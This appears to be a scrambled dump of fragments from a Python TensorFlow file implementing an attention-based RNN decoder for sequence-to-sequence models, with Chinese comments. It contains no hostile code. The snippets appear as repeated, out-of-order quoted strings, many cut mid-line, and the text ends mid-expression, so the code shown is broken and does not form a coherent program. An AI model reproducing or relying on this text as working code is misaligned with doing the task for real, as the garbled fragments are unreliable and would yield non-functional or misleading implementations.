1.get logits of attention for", "cases, like basic RNN cell or GRU cell, outputs and states can be", "tf.get_variable(\"U_a\", shape=[hidden_size, hidden_size],initializer=tf.random_normal_initializer(stddev=0.1)) U_aa = tf.get_variable(\"U_aa\", shape=[ hidden_size]) attention_states=tf.reshape(attention_states,shape=(-1,hidden_size)) #[batch_size*sentence_length,hidden_size] attention_states=tf.matmul(attention_states, U_a) #[batch_size*sentence_length,hidden_size]", "attn_size]; query=state:[batch_size x cell.state_size] query=state W_a = tf.get_variable(\"W_a\", shape=[hidden_size, hidden_size],initializer=tf.random_normal_initializer(stddev=0.1)) query=tf.matmul(query, W_a) #[batch_size,hidden_size]", "function will be applied to the i-th output in order to generate the", "#200 attention_states_original=attention_states batch_size,sequence_length,_=attention_states.get_shape().as_list() outputs = [] prev = None ################################################# for i, inp", "cell.state_size]. _, hidden_size = state.get_shape().as_list() #200 attention_states_original=attention_states batch_size,sequence_length,_=attention_states.get_shape().as_list() outputs = [] prev =", ":param output_projection: None or a pair (W, B). If provided, each fed previous", "each encoder input as attention state p_attention=tf.expand_dims(p_attention,axis=2) #[batch_size x attn_length x 1] #", "0: tf.get_variable_scope().reuse_variables() ##ATTENTION################################################################################################################################################# # 1.get logits of attention for each encoder input. attention_states:[batch_size", "emb_prev return loop_function # RNN的解码部分。 # 如果是训练,使用训练数据的输入;如果是test,将t时刻的输出作为t+1时刻的s输入 def rnn_decoder_with_attention(decoder_inputs, initial_state, cell, loop_function,attention_states,scope=None):#3D Tensor", "> 0: tf.get_variable_scope().reuse_variables() ##ATTENTION################################################################################################################################################# # 1.get logits of attention for each encoder input.", "#[batch_size x attn_size] ############################################################################################################################################################ #inp:[batch_size x input_size].it is decoder input; attention_final:[batch_size x attn_size]", "loop_function: If not None, this function will be applied to the i-th output", "(outputs, state), where: outputs: A list of the same length as decoder_inputs of", "with shape [batch_size x cell.state_size].it is the encoded vector of input sentences, which", "for each encoder input as attention state p_attention=tf.expand_dims(p_attention,axis=2) #[batch_size x attn_length x 1]", "control is needed), * next is a 2D Tensor of shape [batch_size x", "for each encoder input.it means how much attention or focus for each encoder", "be used for decoding, but also for training to emulate http://arxiv.org/abs/1506.03099. Signature --", "# 【该方法测试的时候使用】返回一个方法。这个方法根据输入的值,得到对应的索引,再得到这个词的embedding. def extract_argmax_and_embed(embedding, output_projection=None): \"\"\" Get a loop_function that extracts the previous", "Args: decoder_inputs: A list of 2D Tensors [batch_size x input_size].it is decoder input.", "[batch_size x output_size] containing generated outputs. state: The state of each cell at", "state for each encoder input as attention state p_attention=tf.expand_dims(p_attention,axis=2) #[batch_size x attn_length x", "loop_function is not None and prev is not None:#测试的时候:如果loop_function不为空且前一个词的值不为空,那么使用前一个的值作为RNN的输入 with tf.variable_scope(\"loop_function\", reuse=True): inp", "使用RNN走一步 outputs.append(output) # 将输出添加到结果列表中 if loop_function is not None: prev = output print(\"rnn_decoder_with_attention", "* prev is a 2D Tensor of shape [batch_size x output_size], * i", ";hidden_size:\",hidden_size) #print(\"attention_states:\", attention_states) #(?, 200) attention_states=tf.reshape(attention_states,shape=(-1,sequence_length,hidden_size)) # TODO [batch_size,sentence_length,hidden_size] #query_expanded: [batch_size,1, hidden_size] #attention_states_reshaped:", "a 2D Tensor of shape [batch_size x cell.state_size]. (Note that in some cases,", "prev is not None:#测试的时候:如果loop_function不为空且前一个词的值不为空,那么使用前一个的值作为RNN的输入 with tf.variable_scope(\"loop_function\", reuse=True): inp = loop_function(prev, i) if i", "cells though.) \"\"\" with tf.variable_scope(scope or \"rnn_decoder\"): print(\"rnn_decoder_with_attention started...\") state = initial_state #[batch_size", "x input_size] # 如果是训练,使用训练数据的输入;如果是test, 将t时刻的输出作为t + 1 时刻的s输入 if loop_function is not None", "prev_symbol) #得到这个INDEX对应的embedding return emb_prev return loop_function # RNN的解码部分。 # 如果是训练,使用训练数据的输入;如果是test,将t时刻的输出作为t+1时刻的s输入 def rnn_decoder_with_attention(decoder_inputs, initial_state,", "(when advanced control is needed), * next is a 2D Tensor of shape", "if output_projection is not None: prev = tf.matmul(prev, output_projection[0]) + output_projection[1] prev_symbol =", "input X. scope: VariableScope for the created subgraph; defaults to \"rnn_decoder\". Returns: A", "tf.argmax(prev, 1) #得到对应的INDEX emb_prev = tf.gather(embedding, prev_symbol) #得到这个INDEX对应的embedding return emb_prev return loop_function #", "with tf.variable_scope(scope or \"rnn_decoder\"): print(\"rnn_decoder_with_attention started...\") state = initial_state #[batch_size x cell.state_size]. _,", "symbol and embeds it. Used by decoder. :param embedding: embedding tensor for symbol", "order to generate the i+1-st input, and decoder_inputs will be ignored, except for", "query=state W_a = tf.get_variable(\"W_a\", shape=[hidden_size, hidden_size],initializer=tf.random_normal_initializer(stddev=0.1)) query=tf.matmul(query, W_a) #[batch_size,hidden_size] query=tf.expand_dims(query,axis=1) #[batch_size, 1, hidden_size]", "def rnn_decoder_with_attention(decoder_inputs, initial_state, cell, loop_function,attention_states,scope=None):#3D Tensor [batch_size x attn_length x attn_size] \"\"\"RNN decoder", "function \"\"\" def loop_function(prev, _): if output_projection is not None: prev = tf.matmul(prev,", "containing generated outputs. state: The state of each cell at the final time-step.", "= state.get_shape().as_list() #200 attention_states_original=attention_states batch_size,sequence_length,_=attention_states.get_shape().as_list() outputs = [] prev = None ################################################# for", "coding: utf-8 -*- import tensorflow as tf # 【该方法测试的时候使用】返回一个方法。这个方法根据输入的值,得到对应的索引,再得到这个词的embedding. def extract_argmax_and_embed(embedding, output_projection=None): \"\"\"", "reuse=True): inp = loop_function(prev, i) if i > 0: tf.get_variable_scope().reuse_variables() ##ATTENTION################################################################################################################################################# # 1.get", "and states can be the same. They are different for LSTM cells though.)", "each encoder input.it means how much attention or focus for each encoder input", "started...\") state = initial_state #[batch_size x cell.state_size]. _, hidden_size = state.get_shape().as_list() #200 attention_states_original=attention_states", "inp in enumerate(decoder_inputs):#循环解码部分的输入。如sentence_length个[batch_size x input_size] # 如果是训练,使用训练数据的输入;如果是test, 将t时刻的输出作为t + 1 时刻的s输入 if loop_function", "attn_length x 1] # attention_states:[batch_size x attn_length x attn_size]; p_attention:[batch_size x attn_length]; attention_final=tf.multiply(attention_states_original,p_attention)", "RNN的解码部分。 # 如果是训练,使用训练数据的输入;如果是test,将t时刻的输出作为t+1时刻的s输入 def rnn_decoder_with_attention(decoder_inputs, initial_state, cell, loop_function,attention_states,scope=None):#3D Tensor [batch_size x attn_length x", "of attention for each encoder input. attention_states:[batch_size x attn_length x attn_size]; query=state:[batch_size x", "defaults to \"rnn_decoder\". Returns: A tuple of the form (outputs, state), where: outputs:", "1] # attention_states:[batch_size x attn_length x attn_size]; p_attention:[batch_size x attn_length]; attention_final=tf.multiply(attention_states_original,p_attention) #[batch_size x", "the i+1-st input, and decoder_inputs will be ignored, except for the first element", "#[batch_size,hidden_size] query=tf.expand_dims(query,axis=1) #[batch_size, 1, hidden_size] U_a = tf.get_variable(\"U_a\", shape=[hidden_size, hidden_size],initializer=tf.random_normal_initializer(stddev=0.1)) U_aa = tf.get_variable(\"U_aa\",", "extracts the previous symbol and embeds it. Used by decoder. :param embedding: embedding", "needed), * next is a 2D Tensor of shape [batch_size x input_size]. attention_states:", "loop_function # RNN的解码部分。 # 如果是训练,使用训练数据的输入;如果是test,将t时刻的输出作为t+1时刻的s输入 def rnn_decoder_with_attention(decoder_inputs, initial_state, cell, loop_function,attention_states,scope=None):#3D Tensor [batch_size x", "decoder input; attention_final:[batch_size x attn_size] output, state = cell(inp, state,context_vector) #attention_final TODO 使用RNN走一步", "initial_state #[batch_size x cell.state_size]. _, hidden_size = state.get_shape().as_list() #200 attention_states_original=attention_states batch_size,sequence_length,_=attention_states.get_shape().as_list() outputs =", "Tensor [batch_size x attn_length x attn_size] \"\"\"RNN decoder for the sequence-to-sequence model. Args:", "the same. They are different for LSTM cells though.) \"\"\" with tf.variable_scope(scope or", "attn_length]; attention_final=tf.multiply(attention_states_original,p_attention) #[batch_size x attn_length x attn_size] context_vector=tf.reduce_sum(attention_final,axis=1) #[batch_size x attn_size] ############################################################################################################################################################ #inp:[batch_size", "prev_symbol = tf.argmax(prev, 1) #得到对应的INDEX emb_prev = tf.gather(embedding, prev_symbol) #得到这个INDEX对应的embedding return emb_prev return", "different for LSTM cells though.) \"\"\" with tf.variable_scope(scope or \"rnn_decoder\"): print(\"rnn_decoder_with_attention started...\") state", "A list of 2D Tensors [batch_size x input_size].it is decoder input. initial_state: 2D", "cell, loop_function,attention_states,scope=None):#3D Tensor [batch_size x attn_length x attn_size] \"\"\"RNN decoder for the sequence-to-sequence", "attn_length] attention_logits_max=tf.reduce_max(attention_logits,axis=1,keep_dims=True) #[batch_size x 1] # possibility distribution for each encoder input.it means", "x attn_length x 1] # attention_states:[batch_size x attn_length x attn_size]; p_attention:[batch_size x attn_length];", "x 1] # possibility distribution for each encoder input.it means how much attention", "2D Tensor of shape [batch_size x output_size], * i is an integer, the", "将输出添加到结果列表中 if loop_function is not None: prev = output print(\"rnn_decoder_with_attention ended...\") return outputs,", "function and size. loop_function: If not None, this function will be applied to", "attn_length x attn_size]; p_attention:[batch_size x attn_length]; attention_final=tf.multiply(attention_states_original,p_attention) #[batch_size x attn_length x attn_size] context_vector=tf.reduce_sum(attention_final,axis=1)", "attention attention_logits=tf.reshape(attention_logits,shape=(-1,hidden_size)) #batch_size*sequence_length [batch_size*sentence_length,hidden_size] V_a = tf.get_variable(\"V_a\", shape=[hidden_size,1],initializer=tf.random_normal_initializer(stddev=0.1)) #[hidden_size,1] attention_logits=tf.matmul(attention_logits,V_a) #最终需要的是[batch_size*sentence_length,1]<-----[batch_size*sentence_length,hidden_size],[hidden_size,1] attention_logits=tf.reshape(attention_logits,shape=(-1,sequence_length)) #attention_logits:[batch_size,sequence_length]", "list of 2D Tensors [batch_size x input_size].it is decoder input. initial_state: 2D Tensor", "the encoded vector of input sentences, which represent 'thought vector' cell: core_rnn_cell.RNNCell defining", "means how much attention or focus for each encoder input p_attention=tf.nn.softmax(attention_logits-attention_logits_max)#[batch_size x attn_length]", "attention_states=tf.reshape(attention_states,shape=(-1,sequence_length,hidden_size)) # TODO [batch_size,sentence_length,hidden_size] #query_expanded: [batch_size,1, hidden_size] #attention_states_reshaped: [batch_size,sentence_length,hidden_size] attention_logits=tf.nn.tanh(query+attention_states+U_aa) #[batch_size,sentence_length,hidden_size]. additive style", "#inp:[batch_size x input_size].it is decoder input; attention_final:[batch_size x attn_size] output, state = cell(inp,", "will be applied to the i-th output in order to generate the i+1-st", "that in some cases, like basic RNN cell or GRU cell, outputs and", "A tuple of the form (outputs, state), where: outputs: A list of the", "x output_size], * i is an integer, the step number (when advanced control", "tf.get_variable(\"W_a\", shape=[hidden_size, hidden_size],initializer=tf.random_normal_initializer(stddev=0.1)) query=tf.matmul(query, W_a) #[batch_size,hidden_size] query=tf.expand_dims(query,axis=1) #[batch_size, 1, hidden_size] U_a = tf.get_variable(\"U_a\",", "sentences, which represent 'thought vector' cell: core_rnn_cell.RNNCell defining the cell function and size.", "cell, outputs and states can be the same. They are different for LSTM", "prev = None ################################################# for i, inp in enumerate(decoder_inputs):#循环解码部分的输入。如sentence_length个[batch_size x input_size] # 如果是训练,使用训练数据的输入;如果是test,", "how much attention or focus for each encoder input p_attention=tf.nn.softmax(attention_logits-attention_logits_max)#[batch_size x attn_length] #", "= tf.argmax(prev, 1) #得到对应的INDEX emb_prev = tf.gather(embedding, prev_symbol) #得到这个INDEX对应的embedding return emb_prev return loop_function", "the created subgraph; defaults to \"rnn_decoder\". Returns: A tuple of the form (outputs,", "each encoder input. attention_states:[batch_size x attn_length x attn_size]; query=state:[batch_size x cell.state_size] query=state W_a", "tf.get_variable(\"V_a\", shape=[hidden_size,1],initializer=tf.random_normal_initializer(stddev=0.1)) #[hidden_size,1] attention_logits=tf.matmul(attention_logits,V_a) #最终需要的是[batch_size*sentence_length,1]<-----[batch_size*sentence_length,hidden_size],[hidden_size,1] attention_logits=tf.reshape(attention_logits,shape=(-1,sequence_length)) #attention_logits:[batch_size,sequence_length] ########################################################################################################################################################## #attention_logits=tf.reduce_sum(attention_logits,2) #[batch_size x attn_length] attention_logits_max=tf.reduce_max(attention_logits,axis=1,keep_dims=True)", "weighted sum of hidden state for each encoder input as attention state p_attention=tf.expand_dims(p_attention,axis=2)", "for each encoder input p_attention=tf.nn.softmax(attention_logits-attention_logits_max)#[batch_size x attn_length] # 3.get weighted sum of hidden", "of each cell at the final time-step. It is a 2D Tensor of", "core_rnn_cell.RNNCell defining the cell function and size. loop_function: If not None, this function", "decoder_inputs: A list of 2D Tensors [batch_size x input_size].it is decoder input. initial_state:", "RNN cell or GRU cell, outputs and states can be the same. They", "x attn_length x attn_size] context_vector=tf.reduce_sum(attention_final,axis=1) #[batch_size x attn_size] ############################################################################################################################################################ #inp:[batch_size x input_size].it is", "states can be the same. They are different for LSTM cells though.) \"\"\"", "hidden_size] #attention_states_reshaped: [batch_size,sentence_length,hidden_size] attention_logits=tf.nn.tanh(query+attention_states+U_aa) #[batch_size,sentence_length,hidden_size]. additive style # 2.get possibility of attention attention_logits=tf.reshape(attention_logits,shape=(-1,hidden_size))", "3D Tensor [batch_size x attn_length x attn_size].it is represent input X. scope: VariableScope", "output_projection is not None: prev = tf.matmul(prev, output_projection[0]) + output_projection[1] prev_symbol = tf.argmax(prev,", "p_attention=tf.nn.softmax(attention_logits-attention_logits_max)#[batch_size x attn_length] # 3.get weighted sum of hidden state for each encoder", "sum of hidden state for each encoder input as attention state p_attention=tf.expand_dims(p_attention,axis=2) #[batch_size", "x attn_size] \"\"\"RNN decoder for the sequence-to-sequence model. Args: decoder_inputs: A list of", "200) attention_states=tf.reshape(attention_states,shape=(-1,sequence_length,hidden_size)) # TODO [batch_size,sentence_length,hidden_size] #query_expanded: [batch_size,1, hidden_size] #attention_states_reshaped: [batch_size,sentence_length,hidden_size] attention_logits=tf.nn.tanh(query+attention_states+U_aa) #[batch_size,sentence_length,hidden_size]. additive", "of 2D Tensors with shape [batch_size x output_size] containing generated outputs. state: The", "input, and decoder_inputs will be ignored, except for the first element (\"GO\" symbol).", "1) #得到对应的INDEX emb_prev = tf.gather(embedding, prev_symbol) #得到这个INDEX对应的embedding return emb_prev return loop_function # RNN的解码部分。", "[] prev = None ################################################# for i, inp in enumerate(decoder_inputs):#循环解码部分的输入。如sentence_length个[batch_size x input_size] #", "decoder for the sequence-to-sequence model. Args: decoder_inputs: A list of 2D Tensors [batch_size", "tensorflow as tf # 【该方法测试的时候使用】返回一个方法。这个方法根据输入的值,得到对应的索引,再得到这个词的embedding. def extract_argmax_and_embed(embedding, output_projection=None): \"\"\" Get a loop_function that", "attention_states=tf.matmul(attention_states, U_a) #[batch_size*sentence_length,hidden_size] #print(\"batch_size\",batch_size,\" ;sequence_length:\",sequence_length,\" ;hidden_size:\",hidden_size) #print(\"attention_states:\", attention_states) #(?, 200) attention_states=tf.reshape(attention_states,shape=(-1,sequence_length,hidden_size)) # TODO", "Signature -- loop_function(prev, i) = next * prev is a 2D Tensor of", "except for the first element (\"GO\" symbol). This can be used for decoding,", "= cell(inp, state,context_vector) #attention_final TODO 使用RNN走一步 outputs.append(output) # 将输出添加到结果列表中 if loop_function is not", "_): if output_projection is not None: prev = tf.matmul(prev, output_projection[0]) + output_projection[1] prev_symbol", "i) = next * prev is a 2D Tensor of shape [batch_size x", "tf.variable_scope(\"loop_function\", reuse=True): inp = loop_function(prev, i) if i > 0: tf.get_variable_scope().reuse_variables() ##ATTENTION################################################################################################################################################# #", "attn_length x attn_size] \"\"\"RNN decoder for the sequence-to-sequence model. Args: decoder_inputs: A list", "attn_size]; p_attention:[batch_size x attn_length]; attention_final=tf.multiply(attention_states_original,p_attention) #[batch_size x attn_length x attn_size] context_vector=tf.reduce_sum(attention_final,axis=1) #[batch_size x", "each cell at the final time-step. It is a 2D Tensor of shape", "first element (\"GO\" symbol). This can be used for decoding, but also for", "x cell.state_size]. (Note that in some cases, like basic RNN cell or GRU", "is a 2D Tensor of shape [batch_size x output_size], * i is an", "_, hidden_size = state.get_shape().as_list() #200 attention_states_original=attention_states batch_size,sequence_length,_=attention_states.get_shape().as_list() outputs = [] prev = None", "logits of attention for each encoder input. attention_states:[batch_size x attn_length x attn_size]; query=state:[batch_size", "is a 2D Tensor of shape [batch_size x cell.state_size]. (Note that in some", "'thought vector' cell: core_rnn_cell.RNNCell defining the cell function and size. loop_function: If not", "with shape [batch_size x output_size] containing generated outputs. state: The state of each", "used for decoding, but also for training to emulate http://arxiv.org/abs/1506.03099. Signature -- loop_function(prev,", "style # 2.get possibility of attention attention_logits=tf.reshape(attention_logits,shape=(-1,hidden_size)) #batch_size*sequence_length [batch_size*sentence_length,hidden_size] V_a = tf.get_variable(\"V_a\", shape=[hidden_size,1],initializer=tf.random_normal_initializer(stddev=0.1))", "1, hidden_size] U_a = tf.get_variable(\"U_a\", shape=[hidden_size, hidden_size],initializer=tf.random_normal_initializer(stddev=0.1)) U_aa = tf.get_variable(\"U_aa\", shape=[ hidden_size]) attention_states=tf.reshape(attention_states,shape=(-1,hidden_size))", "be multiplied by W and added B. :return: A loop function \"\"\" def", "input_size] # 如果是训练,使用训练数据的输入;如果是test, 将t时刻的输出作为t + 1 时刻的s输入 if loop_function is not None and", "Get a loop_function that extracts the previous symbol and embeds it. Used by", "is not None: prev = tf.matmul(prev, output_projection[0]) + output_projection[1] prev_symbol = tf.argmax(prev, 1)", "= tf.get_variable(\"V_a\", shape=[hidden_size,1],initializer=tf.random_normal_initializer(stddev=0.1)) #[hidden_size,1] attention_logits=tf.matmul(attention_logits,V_a) #最终需要的是[batch_size*sentence_length,1]<-----[batch_size*sentence_length,hidden_size],[hidden_size,1] attention_logits=tf.reshape(attention_logits,shape=(-1,sequence_length)) #attention_logits:[batch_size,sequence_length] ########################################################################################################################################################## #attention_logits=tf.reduce_sum(attention_logits,2) #[batch_size x attn_length]", "Tensor of shape [batch_size x cell.state_size]. (Note that in some cases, like basic", "[batch_size,sentence_length,hidden_size] #query_expanded: [batch_size,1, hidden_size] #attention_states_reshaped: [batch_size,sentence_length,hidden_size] attention_logits=tf.nn.tanh(query+attention_states+U_aa) #[batch_size,sentence_length,hidden_size]. additive style # 2.get possibility", "symbol :param output_projection: None or a pair (W, B). If provided, each fed", "generated outputs. state: The state of each cell at the final time-step. It", "output will first be multiplied by W and added B. :return: A loop", "batch_size,sequence_length,_=attention_states.get_shape().as_list() outputs = [] prev = None ################################################# for i, inp in enumerate(decoder_inputs):#循环解码部分的输入。如sentence_length个[batch_size", "decoder. :param embedding: embedding tensor for symbol :param output_projection: None or a pair", "next * prev is a 2D Tensor of shape [batch_size x output_size], *", "cell: core_rnn_cell.RNNCell defining the cell function and size. loop_function: If not None, this", "None and prev is not None:#测试的时候:如果loop_function不为空且前一个词的值不为空,那么使用前一个的值作为RNN的输入 with tf.variable_scope(\"loop_function\", reuse=True): inp = loop_function(prev, i)", "U_aa = tf.get_variable(\"U_aa\", shape=[ hidden_size]) attention_states=tf.reshape(attention_states,shape=(-1,hidden_size)) #[batch_size*sentence_length,hidden_size] attention_states=tf.matmul(attention_states, U_a) #[batch_size*sentence_length,hidden_size] #print(\"batch_size\",batch_size,\" ;sequence_length:\",sequence_length,\" ;hidden_size:\",hidden_size)", "to emulate http://arxiv.org/abs/1506.03099. Signature -- loop_function(prev, i) = next * prev is a", "ignored, except for the first element (\"GO\" symbol). This can be used for", "cell.state_size]. (Note that in some cases, like basic RNN cell or GRU cell,", "#[batch_size x attn_length] attention_logits_max=tf.reduce_max(attention_logits,axis=1,keep_dims=True) #[batch_size x 1] # possibility distribution for each encoder", "x output_size] containing generated outputs. state: The state of each cell at the", "#[batch_size, 1, hidden_size] U_a = tf.get_variable(\"U_a\", shape=[hidden_size, hidden_size],initializer=tf.random_normal_initializer(stddev=0.1)) U_aa = tf.get_variable(\"U_aa\", shape=[ hidden_size])", "is not None and prev is not None:#测试的时候:如果loop_function不为空且前一个词的值不为空,那么使用前一个的值作为RNN的输入 with tf.variable_scope(\"loop_function\", reuse=True): inp =", "shape=[hidden_size,1],initializer=tf.random_normal_initializer(stddev=0.1)) #[hidden_size,1] attention_logits=tf.matmul(attention_logits,V_a) #最终需要的是[batch_size*sentence_length,1]<-----[batch_size*sentence_length,hidden_size],[hidden_size,1] attention_logits=tf.reshape(attention_logits,shape=(-1,sequence_length)) #attention_logits:[batch_size,sequence_length] ########################################################################################################################################################## #attention_logits=tf.reduce_sum(attention_logits,2) #[batch_size x attn_length] attention_logits_max=tf.reduce_max(attention_logits,axis=1,keep_dims=True) #[batch_size", "also for training to emulate http://arxiv.org/abs/1506.03099. Signature -- loop_function(prev, i) = next *", "hidden_size]) attention_states=tf.reshape(attention_states,shape=(-1,hidden_size)) #[batch_size*sentence_length,hidden_size] attention_states=tf.matmul(attention_states, U_a) #[batch_size*sentence_length,hidden_size] #print(\"batch_size\",batch_size,\" ;sequence_length:\",sequence_length,\" ;hidden_size:\",hidden_size) #print(\"attention_states:\", attention_states) #(?, 200)", "be ignored, except for the first element (\"GO\" symbol). This can be used", "first be multiplied by W and added B. :return: A loop function \"\"\"", "in order to generate the i+1-st input, and decoder_inputs will be ignored, except", "an integer, the step number (when advanced control is needed), * next is", "outputs: A list of the same length as decoder_inputs of 2D Tensors with", "hidden_size = state.get_shape().as_list() #200 attention_states_original=attention_states batch_size,sequence_length,_=attention_states.get_shape().as_list() outputs = [] prev = None #################################################", "inp = loop_function(prev, i) if i > 0: tf.get_variable_scope().reuse_variables() ##ATTENTION################################################################################################################################################# # 1.get logits", "tf.matmul(prev, output_projection[0]) + output_projection[1] prev_symbol = tf.argmax(prev, 1) #得到对应的INDEX emb_prev = tf.gather(embedding, prev_symbol)", "tf.variable_scope(scope or \"rnn_decoder\"): print(\"rnn_decoder_with_attention started...\") state = initial_state #[batch_size x cell.state_size]. _, hidden_size", "symbol). This can be used for decoding, but also for training to emulate", "output, state = cell(inp, state,context_vector) #attention_final TODO 使用RNN走一步 outputs.append(output) # 将输出添加到结果列表中 if loop_function", "[batch_size x input_size]. attention_states: 3D Tensor [batch_size x attn_length x attn_size].it is represent", "# 3.get weighted sum of hidden state for each encoder input as attention", "utf-8 -*- import tensorflow as tf # 【该方法测试的时候使用】返回一个方法。这个方法根据输入的值,得到对应的索引,再得到这个词的embedding. def extract_argmax_and_embed(embedding, output_projection=None): \"\"\" Get", "Tensors [batch_size x input_size].it is decoder input. initial_state: 2D Tensor with shape [batch_size", "2.get possibility of attention attention_logits=tf.reshape(attention_logits,shape=(-1,hidden_size)) #batch_size*sequence_length [batch_size*sentence_length,hidden_size] V_a = tf.get_variable(\"V_a\", shape=[hidden_size,1],initializer=tf.random_normal_initializer(stddev=0.1)) #[hidden_size,1] attention_logits=tf.matmul(attention_logits,V_a)", "cell at the final time-step. It is a 2D Tensor of shape [batch_size", "2D Tensors with shape [batch_size x output_size] containing generated outputs. state: The state", "attention_states: 3D Tensor [batch_size x attn_length x attn_size].it is represent input X. scope:", "def loop_function(prev, _): if output_projection is not None: prev = tf.matmul(prev, output_projection[0]) +", "outputs. state: The state of each cell at the final time-step. It is", "#attention_logits=tf.reduce_sum(attention_logits,2) #[batch_size x attn_length] attention_logits_max=tf.reduce_max(attention_logits,axis=1,keep_dims=True) #[batch_size x 1] # possibility distribution for each", "the cell function and size. loop_function: If not None, this function will be", "encoded vector of input sentences, which represent 'thought vector' cell: core_rnn_cell.RNNCell defining the", "B. :return: A loop function \"\"\" def loop_function(prev, _): if output_projection is not", "The state of each cell at the final time-step. It is a 2D", "shape [batch_size x output_size] containing generated outputs. state: The state of each cell", "TODO [batch_size,sentence_length,hidden_size] #query_expanded: [batch_size,1, hidden_size] #attention_states_reshaped: [batch_size,sentence_length,hidden_size] attention_logits=tf.nn.tanh(query+attention_states+U_aa) #[batch_size,sentence_length,hidden_size]. additive style # 2.get", "return loop_function # RNN的解码部分。 # 如果是训练,使用训练数据的输入;如果是test,将t时刻的输出作为t+1时刻的s输入 def rnn_decoder_with_attention(decoder_inputs, initial_state, cell, loop_function,attention_states,scope=None):#3D Tensor [batch_size", "# 如果是训练,使用训练数据的输入;如果是test, 将t时刻的输出作为t + 1 时刻的s输入 if loop_function is not None and prev", "i is an integer, the step number (when advanced control is needed), *", "+ 1 时刻的s输入 if loop_function is not None and prev is not None:#测试的时候:如果loop_function不为空且前一个词的值不为空,那么使用前一个的值作为RNN的输入", "##ATTENTION################################################################################################################################################# # 1.get logits of attention for each encoder input. attention_states:[batch_size x attn_length", "next is a 2D Tensor of shape [batch_size x input_size]. attention_states: 3D Tensor", "x attn_length x attn_size]; query=state:[batch_size x cell.state_size] query=state W_a = tf.get_variable(\"W_a\", shape=[hidden_size, hidden_size],initializer=tf.random_normal_initializer(stddev=0.1))", "attention_logits=tf.nn.tanh(query+attention_states+U_aa) #[batch_size,sentence_length,hidden_size]. additive style # 2.get possibility of attention attention_logits=tf.reshape(attention_logits,shape=(-1,hidden_size)) #batch_size*sequence_length [batch_size*sentence_length,hidden_size] V_a", "state p_attention=tf.expand_dims(p_attention,axis=2) #[batch_size x attn_length x 1] # attention_states:[batch_size x attn_length x attn_size];", "# RNN的解码部分。 # 如果是训练,使用训练数据的输入;如果是test,将t时刻的输出作为t+1时刻的s输入 def rnn_decoder_with_attention(decoder_inputs, initial_state, cell, loop_function,attention_states,scope=None):#3D Tensor [batch_size x attn_length", "#attention_states_reshaped: [batch_size,sentence_length,hidden_size] attention_logits=tf.nn.tanh(query+attention_states+U_aa) #[batch_size,sentence_length,hidden_size]. additive style # 2.get possibility of attention attention_logits=tf.reshape(attention_logits,shape=(-1,hidden_size)) #batch_size*sequence_length", "#得到这个INDEX对应的embedding return emb_prev return loop_function # RNN的解码部分。 # 如果是训练,使用训练数据的输入;如果是test,将t时刻的输出作为t+1时刻的s输入 def rnn_decoder_with_attention(decoder_inputs, initial_state, cell,", "x attn_size] ############################################################################################################################################################ #inp:[batch_size x input_size].it is decoder input; attention_final:[batch_size x attn_size] output,", "added B. :return: A loop function \"\"\" def loop_function(prev, _): if output_projection is", "represent input X. scope: VariableScope for the created subgraph; defaults to \"rnn_decoder\". Returns:", "input. initial_state: 2D Tensor with shape [batch_size x cell.state_size].it is the encoded vector", "hidden_size] U_a = tf.get_variable(\"U_a\", shape=[hidden_size, hidden_size],initializer=tf.random_normal_initializer(stddev=0.1)) U_aa = tf.get_variable(\"U_aa\", shape=[ hidden_size]) attention_states=tf.reshape(attention_states,shape=(-1,hidden_size)) #[batch_size*sentence_length,hidden_size]", "cell function and size. loop_function: If not None, this function will be applied", "this function will be applied to the i-th output in order to generate", "attn_size] \"\"\"RNN decoder for the sequence-to-sequence model. Args: decoder_inputs: A list of 2D", "or \"rnn_decoder\"): print(\"rnn_decoder_with_attention started...\") state = initial_state #[batch_size x cell.state_size]. _, hidden_size =", "x attn_length] # 3.get weighted sum of hidden state for each encoder input", "subgraph; defaults to \"rnn_decoder\". Returns: A tuple of the form (outputs, state), where:", "x attn_size] context_vector=tf.reduce_sum(attention_final,axis=1) #[batch_size x attn_size] ############################################################################################################################################################ #inp:[batch_size x input_size].it is decoder input;", "rnn_decoder_with_attention(decoder_inputs, initial_state, cell, loop_function,attention_states,scope=None):#3D Tensor [batch_size x attn_length x attn_size] \"\"\"RNN decoder for", "(W, B). If provided, each fed previous output will first be multiplied by", "tf.gather(embedding, prev_symbol) #得到这个INDEX对应的embedding return emb_prev return loop_function # RNN的解码部分。 # 如果是训练,使用训练数据的输入;如果是test,将t时刻的输出作为t+1时刻的s输入 def rnn_decoder_with_attention(decoder_inputs,", "############################################################################################################################################################ #inp:[batch_size x input_size].it is decoder input; attention_final:[batch_size x attn_size] output, state =", "for the sequence-to-sequence model. Args: decoder_inputs: A list of 2D Tensors [batch_size x", "not None:#测试的时候:如果loop_function不为空且前一个词的值不为空,那么使用前一个的值作为RNN的输入 with tf.variable_scope(\"loop_function\", reuse=True): inp = loop_function(prev, i) if i > 0:", "element (\"GO\" symbol). This can be used for decoding, but also for training", "integer, the step number (when advanced control is needed), * next is a", "by decoder. :param embedding: embedding tensor for symbol :param output_projection: None or a", "previous symbol and embeds it. Used by decoder. :param embedding: embedding tensor for", "x attn_length]; attention_final=tf.multiply(attention_states_original,p_attention) #[batch_size x attn_length x attn_size] context_vector=tf.reduce_sum(attention_final,axis=1) #[batch_size x attn_size] ############################################################################################################################################################", "x attn_size]; query=state:[batch_size x cell.state_size] query=state W_a = tf.get_variable(\"W_a\", shape=[hidden_size, hidden_size],initializer=tf.random_normal_initializer(stddev=0.1)) query=tf.matmul(query, W_a)", "training to emulate http://arxiv.org/abs/1506.03099. Signature -- loop_function(prev, i) = next * prev is", "for decoding, but also for training to emulate http://arxiv.org/abs/1506.03099. Signature -- loop_function(prev, i)", "as attention state p_attention=tf.expand_dims(p_attention,axis=2) #[batch_size x attn_length x 1] # attention_states:[batch_size x attn_length", "1.get logits of attention for each encoder input. attention_states:[batch_size x attn_length x attn_size];", "for the first element (\"GO\" symbol). This can be used for decoding, but", "2D Tensor of shape [batch_size x cell.state_size]. (Note that in some cases, like", "not None and prev is not None:#测试的时候:如果loop_function不为空且前一个词的值不为空,那么使用前一个的值作为RNN的输入 with tf.variable_scope(\"loop_function\", reuse=True): inp = loop_function(prev,", "\"rnn_decoder\". Returns: A tuple of the form (outputs, state), where: outputs: A list", "return emb_prev return loop_function # RNN的解码部分。 # 如果是训练,使用训练数据的输入;如果是test,将t时刻的输出作为t+1时刻的s输入 def rnn_decoder_with_attention(decoder_inputs, initial_state, cell, loop_function,attention_states,scope=None):#3D", "step number (when advanced control is needed), * next is a 2D Tensor", "None: prev = tf.matmul(prev, output_projection[0]) + 